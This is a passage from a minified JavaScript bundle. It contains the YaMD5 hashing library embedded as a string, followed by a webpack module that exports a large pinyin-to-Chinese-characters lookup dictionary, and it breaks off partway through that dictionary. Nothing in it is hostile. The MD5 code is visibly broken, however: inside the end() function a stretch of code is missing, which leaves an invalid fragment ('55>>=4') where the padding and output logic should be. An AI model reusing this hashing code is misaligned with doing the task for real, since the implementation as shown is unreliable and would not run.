this._bufferLength=p,this},i.prototype.appendByteArray=function(m){for(var o,l=this._buffer8,k=this._buffer32,p=this._bufferLength,n=0;;){for(o=Math.min(m.length-n,64-p);o--;)l[p++]=m[n++];if(p<64)break;this._dataLength+=64,b(this._state,k),p=0}return this._bufferLength=p,this},i.prototype.start=function(){return this._dataLength=0,this._bufferLength=0,this._state.set(a),this},i.prototype.end=function(p){var q=this._bufferLength;this._dataLength+=q;var r=this._buffer8;r[q]=128,r[q+1]=r[q+2]=r[q+3]=0;var k=this._buffer32,m=1+(q>>2);k.set(h.subarray(m),m),55>>=4,o[0+p+l]=q.charAt(15&r),r>>>=4;return o.join("")}(this._state)};var f=new i;i.hashStr=function(k,j){return f.start().appendStr(k).end(j)},i.hashAsciiStr=function(k,j){return f.start().appendAsciiStr(k).end(j)},"5d41402abc4b2a76b9719d911017c592"!==i.hashStr("hello")&&console.error("YaMD5> this javascript engine does not support YaMD5. Sorry."),"object"==typeof g&&(g.YaMD5=i)}}(this);'},"762":function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.pinyinDict={"a":"阿啊呵腌嗄吖锕","e":"额阿俄恶鹅遏鄂厄饿峨扼娥鳄哦蛾噩愕讹锷垩婀鹗萼谔莪腭锇颚呃阏屙苊轭","ai":"爱埃艾碍癌哀挨矮隘蔼唉皑哎霭捱暧嫒嗳瑷嗌锿砹","ei":"诶","xi":"系西席息希习吸喜细析戏洗悉锡溪惜稀袭夕洒晰昔牺腊烯熙媳栖膝隙犀蹊硒兮熄曦禧嬉玺奚汐徙羲铣淅嘻歙熹矽蟋郗唏皙隰樨浠忾蜥檄郄翕阋鳃舾屣葸螅咭粞觋欷僖醯鼷裼穸饩舄禊诶菥蓰","yi":"一以已意议义益亿易医艺食依移衣异伊仪宜射遗疑毅谊亦疫役忆抑尾乙译翼蛇溢椅沂泄逸蚁夷邑怡绎彝裔姨熠贻矣屹颐倚诣胰奕翌疙弈轶蛾驿壹猗臆弋铱旖漪迤佚翊诒怿痍懿饴峄揖眙镒仡黟肄咿翳挹缢呓刈咦嶷羿钇殪荑薏蜴镱噫癔苡悒嗌瘗衤佾埸圯舣酏劓","an":"安案按岸暗鞍氨俺胺铵谙庵黯鹌桉埯犴揞厂广","han":"厂汉韩含旱寒汗涵函喊憾罕焊翰邯撼瀚憨捍酣悍鼾邗颔蚶晗菡旰顸犴焓撖","ang":"昂仰盎肮","ao":"奥澳傲熬凹鳌敖遨鏖袄坳翱嗷拗懊岙螯骜獒鏊艹媪廒聱","wa":"瓦挖娃洼袜蛙凹哇佤娲呙腽","yu":"于与育余预域予遇奥语誉玉鱼雨渔裕愈娱欲吁舆宇羽逾豫郁寓吾狱喻御浴愉禹俞邪榆愚渝尉淤虞屿峪粥驭瑜禺毓钰隅芋熨瘀迂煜昱汩於臾盂聿竽萸妪腴圄谕觎揄龉谀俣馀庾妤瘐鬻欤鹬阈嵛雩鹆圉蜮伛纡窬窳饫蓣狳肀舁蝓燠","niu":"牛纽扭钮拗妞忸狃","o":"哦噢喔","ba":"把八巴拔伯吧坝爸霸罢芭跋扒叭靶疤笆耙鲅粑岜灞钯捌菝魃茇","pa":"怕帕爬扒趴琶啪葩耙杷钯筢","pi":"被批副否皮坏辟啤匹披疲罢僻毗坯脾譬劈媲屁琵邳裨痞癖陂丕枇噼霹吡纰砒铍淠郫埤濞睥芘蚍圮鼙罴蜱疋貔仳庀擗甓陴","bi":"比必币笔毕秘避闭佛辟壁弊彼逼碧鼻臂蔽拂泌璧庇痹毙弼匕鄙陛裨贲敝蓖吡篦纰俾铋毖筚荸薜婢哔跸濞秕荜愎睥妣芘箅髀畀滗狴萆嬖襞舭","bai":"百白败摆伯拜柏佰掰呗擘捭稗","bo":"波博播勃拨薄佛伯玻搏柏泊舶剥渤卜驳簿脖膊簸菠礴箔铂亳钵帛擘饽跛钹趵檗啵鹁擗踣","bei":"北被备倍背杯勃贝辈悲碑臂卑悖惫蓓陂钡狈呗焙碚褙庳鞴孛鹎邶鐾","ban":"办版半班般板颁伴搬斑扮拌扳瓣坂阪绊钣瘢舨癍","pan":"判盘番潘攀盼拚畔胖叛拌蹒磐爿蟠泮袢襻丬","bin":"份宾频滨斌彬濒殡缤鬓槟摈膑玢镔豳髌傧","bang":"帮邦彭旁榜棒膀镑绑傍磅蚌谤梆浜蒡","pang":"旁庞乓磅螃彷滂逄耪","beng":"泵崩蚌蹦迸绷甭嘣甏堋","bao":"报保包宝暴胞薄爆炮饱抱堡剥鲍曝葆瀑豹刨褒雹孢苞煲褓趵鸨龅勹","bu":"不部步布补捕堡埔卜埠簿哺怖钚卟瓿逋晡醭钸","pu":"普暴铺浦朴堡葡谱埔扑仆蒲曝瀑溥莆圃璞濮菩蹼匍噗氆攵镨攴镤","mian":"面棉免绵缅勉眠冕娩腼渑湎沔黾宀眄","po":"破繁坡迫颇朴泊婆泼魄粕鄱珀陂叵笸泺皤钋钷","fan":"反范犯繁饭泛翻凡返番贩烦拚帆樊藩矾梵蕃钒幡畈蘩蹯燔","fu":"府服副负富复福夫妇幅付扶父符附腐赴佛浮覆辅傅伏抚赋辐腹弗肤阜袱缚甫氟斧孚敷俯拂俘咐腑孵芙涪釜脯茯馥宓绂讣呋罘麸蝠匐芾蜉跗凫滏蝮驸绋蚨砩桴赙菔呒趺苻拊阝鲋怫稃郛莩幞祓艴黻黼鳆","ben":"本体奔苯笨夯贲锛畚坌","feng":"风丰封峰奉凤锋冯逢缝蜂枫疯讽烽俸沣酆砜葑唪","bian":"变便边编遍辩鞭辨贬匾扁卞汴辫砭苄蝙鳊弁窆笾煸褊碥忭缏","pian":"便片篇偏骗翩扁骈胼蹁谝犏缏","zhen":"镇真针圳振震珍阵诊填侦臻贞枕桢赈祯帧甄斟缜箴疹砧榛鸩轸稹溱蓁胗椹朕畛浈","biao":"表标彪镖裱飚膘飙镳婊骠飑杓髟鳔灬瘭","piao":"票朴漂飘嫖瓢剽缥殍瞟骠嘌莩螵","huo":"和活或货获火伙惑霍祸豁嚯藿锪蠖钬耠镬夥灬劐攉","bie":"别鳖憋瘪蹩","min":"民敏闽闵皿泯岷悯珉抿黾缗玟愍苠鳘","fen":"分份纷奋粉氛芬愤粪坟汾焚酚吩忿棼玢鼢瀵偾鲼","bing":"并病兵冰屏饼炳秉丙摒柄槟禀枋邴冫","geng":"更耕颈庚耿梗埂羹哽赓绠鲠","fang":"方放房防访纺芳仿坊妨肪邡舫彷枋鲂匚钫","xian":"现先县见线限显险献鲜洗宪纤陷闲贤仙衔掀咸嫌掺羡弦腺痫娴舷馅酰铣冼涎暹籼锨苋蚬跹岘藓燹鹇氙莶霰跣猃彡祆筅","fou":"不否缶","ca":"拆擦嚓礤","cha":"查察差茶插叉刹茬楂岔诧碴嚓喳姹杈汊衩搽槎镲苴檫馇锸猹","cai":"才采财材菜彩裁蔡猜踩睬","can":"参残餐灿惨蚕掺璨惭粲孱骖黪","shen":"信深参身神什审申甚沈伸慎渗肾绅莘呻婶娠砷蜃哂椹葚吲糁渖诜谂矧胂","cen":"参岑涔","san":"三参散伞叁糁馓毵","cang":"藏仓苍沧舱臧伧","zang":"藏脏葬赃臧奘驵","chen":"称陈沈沉晨琛臣尘辰衬趁忱郴宸谌碜嗔抻榇伧谶龀肜","cao":"草操曹槽糙嘈漕螬艚屮","ce":"策测册侧厕栅恻","ze":"责则泽择侧咋啧仄箦赜笮舴昃迮帻","zhai":"债择齐宅寨侧摘窄斋祭翟砦瘵哜","dao":"到道导岛倒刀盗稻蹈悼捣叨祷焘氘纛刂帱忉","ceng":"层曾蹭噌","zha":"查扎炸诈闸渣咋乍榨楂札栅眨咤柞喳喋铡蚱吒怍砟揸痄哳齄","chai":"差拆柴钗豺侪虿瘥","ci":"次此差词辞刺瓷磁兹慈茨赐祠伺雌疵鹚糍呲粢","zi":"资自子字齐咨滋仔姿紫兹孜淄籽梓鲻渍姊吱秭恣甾孳訾滓锱辎趑龇赀眦缁呲笫谘嵫髭茈粢觜耔","cuo":"措错磋挫搓撮蹉锉厝嵯痤矬瘥脞鹾","chan":"产单阐崭缠掺禅颤铲蝉搀潺蟾馋忏婵孱觇廛谄谗澶骣羼躔蒇冁","shan":"山单善陕闪衫擅汕扇掺珊禅删膳缮赡鄯栅煽姗跚鳝嬗潸讪舢苫疝掸膻钐剡蟮芟埏彡骟","zhan":"展战占站崭粘湛沾瞻颤詹斩盏辗绽毡栈蘸旃谵搌","xin":"新心信辛欣薪馨鑫芯锌忻莘昕衅歆囟忄镡","lian":"联连练廉炼脸莲恋链帘怜涟敛琏镰濂楝鲢殓潋裢裣臁奁莶蠊蔹","chang":"场长厂常偿昌唱畅倡尝肠敞倘猖娼淌裳徜昶怅嫦菖鲳阊伥苌氅惝鬯","zhang":"长张章障涨掌帐胀彰丈仗漳樟账杖璋嶂仉瘴蟑獐幛鄣嫜","chao":"超朝潮炒钞抄巢吵剿绰嘲晁焯耖怊","zhao":"着照招找召朝赵兆昭肇罩钊沼嘲爪诏濯啁棹笊","zhou":"调州周洲舟骤轴昼宙粥皱肘咒帚胄绉纣妯啁诌繇碡籀酎荮","che":"车彻撤尺扯澈掣坼砗屮","ju":"车局据具举且居剧巨聚渠距句拒俱柜菊拘炬桔惧矩鞠驹锯踞咀瞿枸掬沮莒橘飓疽钜趄踽遽琚龃椐苣裾榘狙倨榉苴讵雎锔窭鞫犋屦醵","cheng":"成程城承称盛抢乘诚呈净惩撑澄秤橙骋逞瞠丞晟铛埕塍蛏柽铖酲裎枨","rong":"容荣融绒溶蓉熔戎榕茸冗嵘肜狨蝾","sheng":"生声升胜盛乘圣剩牲甸省绳笙甥嵊晟渑眚","deng":"等登邓灯澄凳瞪蹬噔磴嶝镫簦戥","zhi":"制之治质职只志至指织支值知识直致执置止植纸拓智殖秩旨址滞氏枝芝脂帜汁肢挚稚酯掷峙炙栉侄芷窒咫吱趾痔蜘郅桎雉祉郦陟痣蛭帙枳踯徵胝栀贽祗豸鸷摭轵卮轾彘觯絷跖埴夂黹忮骘膣踬","zheng":"政正证争整征郑丁症挣蒸睁铮筝拯峥怔诤狰徵钲","tang":"堂唐糖汤塘躺趟倘棠烫淌膛搪镗傥螳溏帑羰樘醣螗耥铴瑭","chi":"持吃池迟赤驰尺斥齿翅匙痴耻炽侈弛叱啻坻眙嗤墀哧茌豉敕笞饬踟蚩柢媸魑篪褫彳鸱螭瘛眵傺","shi":"是时实事市十使世施式势视识师史示石食始士失适试什泽室似诗饰殖释驶氏硕逝湿蚀狮誓拾尸匙仕柿矢峙侍噬嗜栅拭嘘屎恃轼虱耆舐莳铈谥炻豕鲥饣螫酾筮埘弑礻蓍鲺贳","qi":"企其起期气七器汽奇齐启旗棋妻弃揭枝歧欺骑契迄亟漆戚岂稽岐琦栖缉琪泣乞砌祁崎绮祺祈凄淇杞脐麒圻憩芪伎俟畦耆葺沏萋骐鳍綦讫蕲屺颀亓碛柒啐汔綮萁嘁蛴槭欹芑桤丌蜞","chuai":"揣踹啜搋膪","tuo":"托脱拓拖妥驼陀沱鸵驮唾椭坨佗砣跎庹柁橐乇铊沲酡鼍箨柝","duo":"多度夺朵躲铎隋咄堕舵垛惰哆踱跺掇剁柁缍沲裰哚隳","xue":"学血雪削薛穴靴谑噱鳕踅泶彐","chong":"重种充冲涌崇虫宠忡憧舂茺铳艟","chou":"筹抽绸酬愁丑臭仇畴稠瞅踌惆俦瘳雠帱","qiu":"求球秋丘邱仇酋裘龟囚遒鳅虬蚯泅楸湫犰逑巯艽俅蝤赇鼽糗","xiu":"修秀休宿袖绣臭朽锈羞嗅岫溴庥馐咻髹鸺貅","chu":"出处础初助除储畜触楚厨雏矗橱锄滁躇怵绌搐刍蜍黜杵蹰亍樗憷楮","tuan":"团揣湍疃抟彖","zhui":"追坠缀揣椎锥赘惴隹骓缒","chuan":"传川船穿串喘椽舛钏遄氚巛舡","zhuan":"专转传赚砖撰篆馔啭颛","yuan":"元员院原源远愿园援圆缘袁怨渊苑宛冤媛猿垣沅塬垸鸳辕鸢瑗圜爰芫鼋橼螈眢箢掾","cuan":"窜攒篡蹿撺爨汆镩","chuang":"创床窗闯幢疮怆","zhuang":"装状庄壮撞妆幢桩奘僮戆","chui":"吹垂锤炊椎陲槌捶棰","chun":"春纯醇淳唇椿蠢鹑朐莼肫蝽","zhun":"准屯淳谆肫窀","cu":"促趋趣粗簇醋卒蹴猝蹙蔟殂徂","dun":"吨顿盾敦蹲墩囤沌钝炖盹遁趸砘礅","qu":"区去取曲趋渠趣驱屈躯衢娶祛瞿岖龋觑朐蛐癯蛆苣阒诎劬蕖蘧氍黢蠼璩麴鸲磲","xu":"需许续须序徐休蓄畜虚吁绪叙旭邪恤墟栩絮圩婿戌胥嘘浒煦酗诩朐盱蓿溆洫顼勖糈砉醑","chuo":"辍绰戳淖啜龊踔辶","zu":"组族足祖租阻卒俎诅镞菹","ji":"济机其技基记计系期际及集级几给积极己纪即继击既激绩急奇吉季齐疾迹鸡剂辑籍寄挤圾冀亟寂暨脊跻肌稽忌饥祭缉棘矶汲畸姬藉瘠骥羁妓讥稷蓟悸嫉岌叽伎鲫诘楫荠戟箕霁嵇觊麂畿玑笈犄芨唧屐髻戢佶偈笄跽蒺乩咭赍嵴虮掎齑殛鲚剞洎丌墼蕺彐芰哜","cong":"从丛匆聪葱囱琮淙枞骢苁璁","zong":"总从综宗纵踪棕粽鬃偬枞腙","cou":"凑辏腠楱","cui":"衰催崔脆翠萃粹摧璀瘁悴淬啐隹毳榱","wei":"为位委未维卫围违威伟危味微唯谓伪慰尾魏韦胃畏帷喂巍萎蔚纬潍尉渭惟薇苇炜圩娓诿玮崴桅偎逶倭猥囗葳隗痿猬涠嵬韪煨艉隹帏闱洧沩隈鲔軎","cun":"村存寸忖皴","zuo":"作做座左坐昨佐琢撮祚柞唑嘬酢怍笮阼胙","zuan":"钻纂攥缵躜","da":"大达打答搭沓瘩惮嗒哒耷鞑靼褡笪怛妲","dai":"大代带待贷毒戴袋歹呆隶逮岱傣棣怠殆黛甙埭诒绐玳呔迨","tai":"大台太态泰抬胎汰钛苔薹肽跆邰鲐酞骀炱","ta":"他它她拓塔踏塌榻沓漯獭嗒挞蹋趿遢铊鳎溻闼","dan":"但单石担丹胆旦弹蛋淡诞氮郸耽殚惮儋眈疸澹掸膻啖箪聃萏瘅赕","lu":"路六陆录绿露鲁卢炉鹿禄赂芦庐碌麓颅泸卤潞鹭辘虏璐漉噜戮鲈掳橹轳逯渌蓼撸鸬栌氇胪镥簏舻辂垆","tan":"谈探坦摊弹炭坛滩贪叹谭潭碳毯瘫檀痰袒坍覃忐昙郯澹钽锬","ren":"人任认仁忍韧刃纫饪妊荏稔壬仞轫亻衽","jie":"家结解价界接节她届介阶街借杰洁截姐揭捷劫戒皆竭桔诫楷秸睫藉拮芥诘碣嗟颉蚧孑婕疖桀讦疥偈羯袷哜喈卩鲒骱","yan":"研严验演言眼烟沿延盐炎燕岩宴艳颜殷彦掩淹阎衍铅雁咽厌焰堰砚唁焉晏檐蜒奄俨腌妍谚兖筵焱偃闫嫣鄢湮赝胭琰滟阉魇酽郾恹崦芫剡鼹菸餍埏谳讠厣罨","dang":"当党档荡挡宕砀铛裆凼菪谠","tao":"套讨跳陶涛逃桃萄淘掏滔韬叨洮啕绦饕鼗","tiao":"条调挑跳迢眺苕窕笤佻啁粜髫铫祧龆蜩鲦","te":"特忑忒铽慝","de":"的地得德底锝","dei":"得","di":"的地第提低底抵弟迪递帝敌堤蒂缔滴涤翟娣笛棣荻谛狄邸嘀砥坻诋嫡镝碲骶氐柢籴羝睇觌","ti":"体提题弟替梯踢惕剔蹄棣啼屉剃涕锑倜悌逖嚏荑醍绨鹈缇裼","tui":"推退弟腿褪颓蜕忒煺","you":"有由又优游油友右邮尤忧幼犹诱悠幽佑釉柚铀鱿囿酉攸黝莠猷蝣疣呦蚴莸莜铕宥繇卣牖鼬尢蚰侑","dian":"电点店典奠甸碘淀殿垫颠滇癫巅惦掂癜玷佃踮靛钿簟坫阽","tian":"天田添填甜甸恬腆佃舔钿阗忝殄畋栝掭","zhu":"主术住注助属逐宁著筑驻朱珠祝猪诸柱竹铸株瞩嘱贮煮烛苎褚蛛拄铢洙竺蛀渚伫杼侏澍诛茱箸炷躅翥潴邾槠舳橥丶瘃麈疰","nian":"年念酿辗碾廿捻撵拈蔫鲶埝鲇辇黏","diao":"调掉雕吊钓刁貂凋碉鲷叼铫铞","yao":"要么约药邀摇耀腰遥姚窑瑶咬尧钥谣肴夭侥吆疟妖幺杳舀窕窈曜鹞爻繇徭轺铫鳐崾珧","die":"跌叠蝶迭碟爹谍牒耋佚喋堞瓞鲽垤揲蹀","she":"设社摄涉射折舍蛇拾舌奢慑赦赊佘麝歙畲厍猞揲滠","ye":"业也夜叶射野液冶喝页爷耶邪咽椰烨掖拽曳晔谒腋噎揶靥邺铘揲","xie":"些解协写血叶谢械鞋胁斜携懈契卸谐泄蟹邪歇泻屑挟燮榭蝎撷偕亵楔颉缬邂鲑瀣勰榍薤绁渫廨獬躞","zhe":"这者着著浙折哲蔗遮辙辄柘锗褶蜇蛰鹧谪赭摺乇磔螫","ding":"定订顶丁鼎盯钉锭叮仃铤町酊啶碇腚疔玎耵","diu":"丢铥","ting":"听庭停厅廷挺亭艇婷汀铤烃霆町蜓葶梃莛","dong":"动东董冬洞懂冻栋侗咚峒氡恫胴硐垌鸫岽胨","tong":"同通统童痛铜桶桐筒彤侗佟潼捅酮砼瞳恸峒仝嗵僮垌茼","zhong":"中重种众终钟忠仲衷肿踵冢盅蚣忪锺舯螽夂","dou":"都斗读豆抖兜陡逗窦渎蚪痘蔸钭篼","du":"度都独督读毒渡杜堵赌睹肚镀渎笃竺嘟犊妒牍蠹椟黩芏髑","duan":"断段短端锻缎煅椴簖","dui":"对队追敦兑堆碓镦怼憝","rui":"瑞兑锐睿芮蕊蕤蚋枘","yue":"月说约越乐跃兑阅岳粤悦曰钥栎钺樾瀹龠哕刖","tun":"吞屯囤褪豚臀饨暾氽","hui":"会回挥汇惠辉恢徽绘毁慧灰贿卉悔秽溃荟晖彗讳诲珲堕诙蕙晦睢麾烩茴喙桧蛔洄浍虺恚蟪咴隳缋哕","wu":"务物无五武午吴舞伍污乌误亡恶屋晤悟吾雾芜梧勿巫侮坞毋诬呜钨邬捂鹜兀婺妩於戊鹉浯蜈唔骛仵焐芴鋈庑鼯牾怃圬忤痦迕杌寤阢","ya":"亚压雅牙押鸭呀轧涯崖邪芽哑讶鸦娅衙丫蚜碣垭伢氩桠琊揠吖睚痖疋迓岈砑","he":"和合河何核盖贺喝赫荷盒鹤吓呵苛禾菏壑褐涸阂阖劾诃颌嗬貉曷翮纥盍","wo":"我握窝沃卧挝涡斡渥幄蜗喔倭莴龌肟硪","en":"恩摁蒽","n":"嗯唔","er":"而二尔儿耳迩饵洱贰铒珥佴鸸鲕","fa":"发法罚乏伐阀筏砝垡珐","quan":"全权券泉圈拳劝犬铨痊诠荃醛蜷颧绻犭筌鬈悛辁畎","fei":"费非飞肥废菲肺啡沸匪斐蜚妃诽扉翡霏吠绯腓痱芾淝悱狒榧砩鲱篚镄","pei":"配培坏赔佩陪沛裴胚妃霈淠旆帔呸醅辔锫","ping":"平评凭瓶冯屏萍苹乒坪枰娉俜鲆","fo":"佛","hu":"和护许户核湖互乎呼胡戏忽虎沪糊壶葫狐蝴弧瑚浒鹄琥扈唬滹惚祜囫斛笏芴醐猢怙唿戽槲觳煳鹕冱瓠虍岵鹱烀轷","ga":"夹咖嘎尬噶旮伽尕钆尜","ge":"个合各革格歌哥盖隔割阁戈葛鸽搁胳舸疙铬骼蛤咯圪镉颌仡硌嗝鬲膈纥袼搿塥哿虼","ha":"哈蛤铪","xia":"下夏峡厦辖霞夹虾狭吓侠暇遐瞎匣瑕唬呷黠硖罅狎瘕柙","gai":"改该盖概溉钙丐芥赅垓陔戤","hai":"海还害孩亥咳骸骇氦嗨胲醢","gan":"干感赶敢甘肝杆赣乾柑尴竿秆橄矸淦苷擀酐绀泔坩旰疳澉","gang":"港钢刚岗纲冈杠缸扛肛罡戆筻","jiang":"将强江港奖讲降疆蒋姜浆匠酱僵桨绛缰犟豇礓洚茳糨耩","hang":"行航杭巷夯吭桁沆绗颃","gong":"工公共供功红贡攻宫巩龚恭拱躬弓汞蚣珙觥肱廾","hong":"红宏洪轰虹鸿弘哄烘泓訇蕻闳讧荭黉薨","guang":"广光逛潢犷胱咣桄","qiong":"穷琼穹邛茕筇跫蛩銎","gao":"高告搞稿膏糕镐皋羔锆杲郜睾诰藁篙缟槁槔","hao":"好号毫豪耗浩郝皓昊皋蒿壕灏嚎濠蚝貉颢嗥薅嚆","li":"理力利立里李历例离励礼丽黎璃厉厘粒莉梨隶栗荔沥犁漓哩狸藜罹篱鲤砺吏澧俐骊溧砾莅锂笠蠡蛎痢雳俪傈醴栎郦俚枥喱逦娌鹂戾砬唳坜疠蜊黧猁鬲粝蓠呖跞疬缡鲡鳢嫠詈悝苈篥轹","jia":"家加价假佳架甲嘉贾驾嫁夹稼钾挟拮迦伽颊浃枷戛荚痂颉镓笳珈岬胛袈郏葭袷瘕铗跏蛱恝哿","luo":"落罗络洛逻螺锣骆萝裸漯烙摞骡咯箩珞捋荦硌雒椤镙跞瘰泺脶猡倮蠃","ke":"可科克客刻课颗渴壳柯棵呵坷恪苛咳磕珂稞瞌溘轲窠嗑疴蝌岢铪颏髁蚵缂氪骒钶锞","qia":"卡恰洽掐髂袷咭葜","gei":"给","gen":"根跟亘艮哏茛","hen":"很狠恨痕哏","gou":"构购够句沟狗钩拘勾苟垢枸篝佝媾诟岣彀缑笱鞲觏遘","kou":"口扣寇叩抠佝蔻芤眍筘","gu":"股古顾故固鼓骨估谷贾姑孤雇辜菇沽咕呱锢钴箍汩梏痼崮轱鸪牯蛊诂毂鹘菰罟嘏臌觚瞽蛄酤牿鲴","pai":"牌排派拍迫徘湃俳哌蒎","gua":"括挂瓜刮寡卦呱褂剐胍诖鸹栝呙","tou":"投头透偷愉骰亠","guai":"怪拐乖","kuai":"会快块筷脍蒯侩浍郐蒉狯哙","guan":"关管观馆官贯冠惯灌罐莞纶棺斡矜倌鹳鳏盥掼涫","wan":"万完晚湾玩碗顽挽弯蔓丸莞皖宛婉腕蜿惋烷琬畹豌剜纨绾脘菀芄箢","ne":"呢哪呐讷疒","gui":"规贵归轨桂柜圭鬼硅瑰跪龟匮闺诡癸鳜桧皈鲑刽晷傀眭妫炅庋簋刿宄匦","jun":"军均俊君峻菌竣钧骏龟浚隽郡筠皲麇捃","jiong":"窘炯迥炅冂扃","jue":"决绝角觉掘崛诀獗抉爵嚼倔厥蕨攫珏矍蹶谲镢鳜噱桷噘撅橛孓觖劂爝","gun":"滚棍辊衮磙鲧绲丨","hun":"婚混魂浑昏棍珲荤馄诨溷阍","guo":"国过果郭锅裹帼涡椁囗蝈虢聒埚掴猓崞蜾呙馘","hei":"黑嘿嗨","kan":"看刊勘堪坎砍侃嵌槛瞰阚龛戡凵莰","heng":"衡横恒亨哼珩桁蘅","mo":"万没么模末冒莫摩墨默磨摸漠脉膜魔沫陌抹寞蘑摹蓦馍茉嘿谟秣蟆貉嫫镆殁耱嬷麽瘼貊貘","peng":"鹏朋彭膨蓬碰苹棚捧亨烹篷澎抨硼怦砰嘭蟛堋","hou":"后候厚侯猴喉吼逅篌糇骺後鲎瘊堠","hua":"化华划话花画滑哗豁骅桦猾铧砉","huai":"怀坏淮徊槐踝","huan":"还环换欢患缓唤焕幻痪桓寰涣宦垸洹浣豢奂郇圜獾鲩鬟萑逭漶锾缳擐","xun":"讯训迅孙寻询循旬巡汛勋逊熏徇浚殉驯鲟薰荀浔洵峋埙巽郇醺恂荨窨蕈曛獯","huang":"黄荒煌皇凰慌晃潢谎惶簧璜恍幌湟蝗磺隍徨遑肓篁鳇蟥癀","nai":"能乃奶耐奈鼐萘氖柰佴艿","luan":"乱卵滦峦鸾栾銮挛孪脔娈","qie":"切且契窃茄砌锲怯伽惬妾趄挈郄箧慊","jian":"建间件见坚检健监减简艰践兼鉴键渐柬剑尖肩舰荐箭浅剪俭碱茧奸歼拣捡煎贱溅槛涧堑笺谏饯锏缄睑謇蹇腱菅翦戬毽笕犍硷鞯牮枧湔鲣囝裥踺搛缣鹣蒹谫僭戋趼楗","nan":"南难男楠喃囡赧腩囝蝻","qian":"前千钱签潜迁欠纤牵浅遣谦乾铅歉黔谴嵌倩钳茜虔堑钎骞阡掮钤扦芊犍荨仟芡悭缱佥愆褰凵肷岍搴箝慊椠","qiang":"强抢疆墙枪腔锵呛羌蔷襁羟跄樯戕嫱戗炝镪锖蜣","xiang":"向项相想乡象响香降像享箱羊祥湘详橡巷翔襄厢镶飨饷缃骧芗庠鲞葙蟓","jiao":"教交较校角觉叫脚缴胶轿郊焦骄浇椒礁佼蕉娇矫搅绞酵剿嚼饺窖跤蛟侥狡姣皎茭峤铰醮鲛湫徼鹪僬噍艽挢敫","zhuo":"着著缴桌卓捉琢灼浊酌拙茁涿镯淖啄濯焯倬擢斫棹诼浞禚","qiao":"桥乔侨巧悄敲俏壳雀瞧翘窍峭锹撬荞跷樵憔鞘橇峤诮谯愀鞒硗劁缲","xiao":"小效销消校晓笑肖削孝萧俏潇硝宵啸嚣霄淆哮筱逍姣箫骁枭哓绡蛸崤枵魈","si":"司四思斯食私死似丝饲寺肆撕泗伺嗣祀厮驷嘶锶俟巳蛳咝耜笥纟糸鸶缌澌姒汜厶兕","kai":"开凯慨岂楷恺揩锴铠忾垲剀锎蒈","jin":"进金今近仅紧尽津斤禁锦劲晋谨筋巾浸襟靳瑾烬缙钅矜觐堇馑荩噤廑妗槿赆衿卺","qin":"亲勤侵秦钦琴禽芹沁寝擒覃噙矜嗪揿溱芩衾廑锓吣檎螓","jing":"经京精境竞景警竟井惊径静劲敬净镜睛晶颈荆兢靖泾憬鲸茎腈菁胫阱旌粳靓痉箐儆迳婧肼刭弪獍","ying":"应营影英景迎映硬盈赢颖婴鹰荧莹樱瑛蝇萦莺颍膺缨瀛楹罂荥萤鹦滢蓥郢茔嘤璎嬴瘿媵撄潆","jiu":"就究九酒久救旧纠舅灸疚揪咎韭玖臼柩赳鸠鹫厩啾阄桕僦鬏","zui":"最罪嘴醉咀蕞觜","juan":"卷捐圈眷娟倦绢隽镌涓鹃鄄蠲狷锩桊","suan":"算酸蒜狻","yun":"员运云允孕蕴韵酝耘晕匀芸陨纭郧筠恽韫郓氲殒愠昀菀狁","qun":"群裙逡麇","ka":"卡喀咖咔咯佧胩","kang":"康抗扛慷炕亢糠伉钪闶","keng":"坑铿吭","kao":"考靠烤拷铐栲尻犒","ken":"肯垦恳啃龈裉","yin":"因引银印音饮阴隐姻殷淫尹荫吟瘾寅茵圻垠鄞湮蚓氤胤龈窨喑铟洇狺夤廴吲霪茚堙","kong":"空控孔恐倥崆箜","ku":"苦库哭酷裤枯窟挎骷堀绔刳喾","kua":"跨夸垮挎胯侉","kui":"亏奎愧魁馈溃匮葵窥盔逵睽馗聩喟夔篑岿喹揆隗傀暌跬蒉愦悝蝰","kuan":"款宽髋","kuang":"况矿框狂旷眶匡筐邝圹哐贶夼诳诓纩","que":"确却缺雀鹊阙瘸榷炔阕悫","kun":"困昆坤捆琨锟鲲醌髡悃阃","kuo":"扩括阔廓蛞","la":"拉落垃腊啦辣蜡喇剌旯砬邋瘌","lai":"来莱赖睐徕籁涞赉濑癞崃疠铼","lan":"兰览蓝篮栏岚烂滥缆揽澜拦懒榄斓婪阑褴罱啉谰镧漤","lin":"林临邻赁琳磷淋麟霖鳞凛拎遴蔺吝粼嶙躏廪檩啉辚膦瞵懔","lang":"浪朗郎廊狼琅榔螂阆锒莨啷蒗稂","liang":"量两粮良辆亮梁凉谅粱晾靓踉莨椋魉墚","lao":"老劳落络牢捞涝烙姥佬崂唠酪潦痨醪铑铹栳耢","mu":"目模木亩幕母牧莫穆姆墓慕牟牡募睦缪沐暮拇姥钼苜仫毪坶","le":"了乐勒肋叻鳓嘞仂泐","lei":"类累雷勒泪蕾垒磊擂镭肋羸耒儡嫘缧酹嘞诔檑","sui":"随岁虽碎尿隧遂髓穗绥隋邃睢祟濉燧谇眭荽","lie":"列烈劣裂猎冽咧趔洌鬣埒捩躐","leng":"冷愣棱楞塄","ling":"领令另零灵龄陵岭凌玲铃菱棱伶羚苓聆翎泠瓴囹绫呤棂蛉酃鲮柃","lia":"俩","liao":"了料疗辽廖聊寥缪僚燎缭撂撩嘹潦镣寮蓼獠钌尥鹩","liu":"流刘六留柳瘤硫溜碌浏榴琉馏遛鎏骝绺镏旒熘鹨锍","lun":"论轮伦仑纶沦抡囵","lv":"率律旅绿虑履吕铝屡氯缕滤侣驴榈闾偻褛捋膂稆","lou":"楼露漏陋娄搂篓喽镂偻瘘髅耧蝼嵝蒌","mao":"贸毛矛冒貌茂茅帽猫髦锚懋袤牦卯铆耄峁瑁蟊茆蝥旄泖昴瞀","long":"龙隆弄垄笼拢聋陇胧珑窿茏咙砻垅泷栊癃","nong":"农浓弄脓侬哝","shuang":"双爽霜孀泷","shu":"术书数属树输束述署朱熟殊蔬舒疏鼠淑叔暑枢墅俞曙抒竖蜀薯梳戍恕孰沭赎庶漱塾倏澍纾姝菽黍腧秫毹殳疋摅","shuai":"率衰帅摔甩蟀","lve":"略掠锊","ma":"么马吗摩麻码妈玛嘛骂抹蚂唛蟆犸杩","me":"么麽","mai":"买卖麦迈脉埋霾荬劢","man":"满慢曼漫埋蔓瞒蛮鳗馒幔谩螨熳缦镘颟墁鞔","mi":"米密秘迷弥蜜谜觅靡泌眯麋猕谧咪糜宓汨醚嘧弭脒冖幂祢縻蘼芈糸敉","men":"们门闷瞒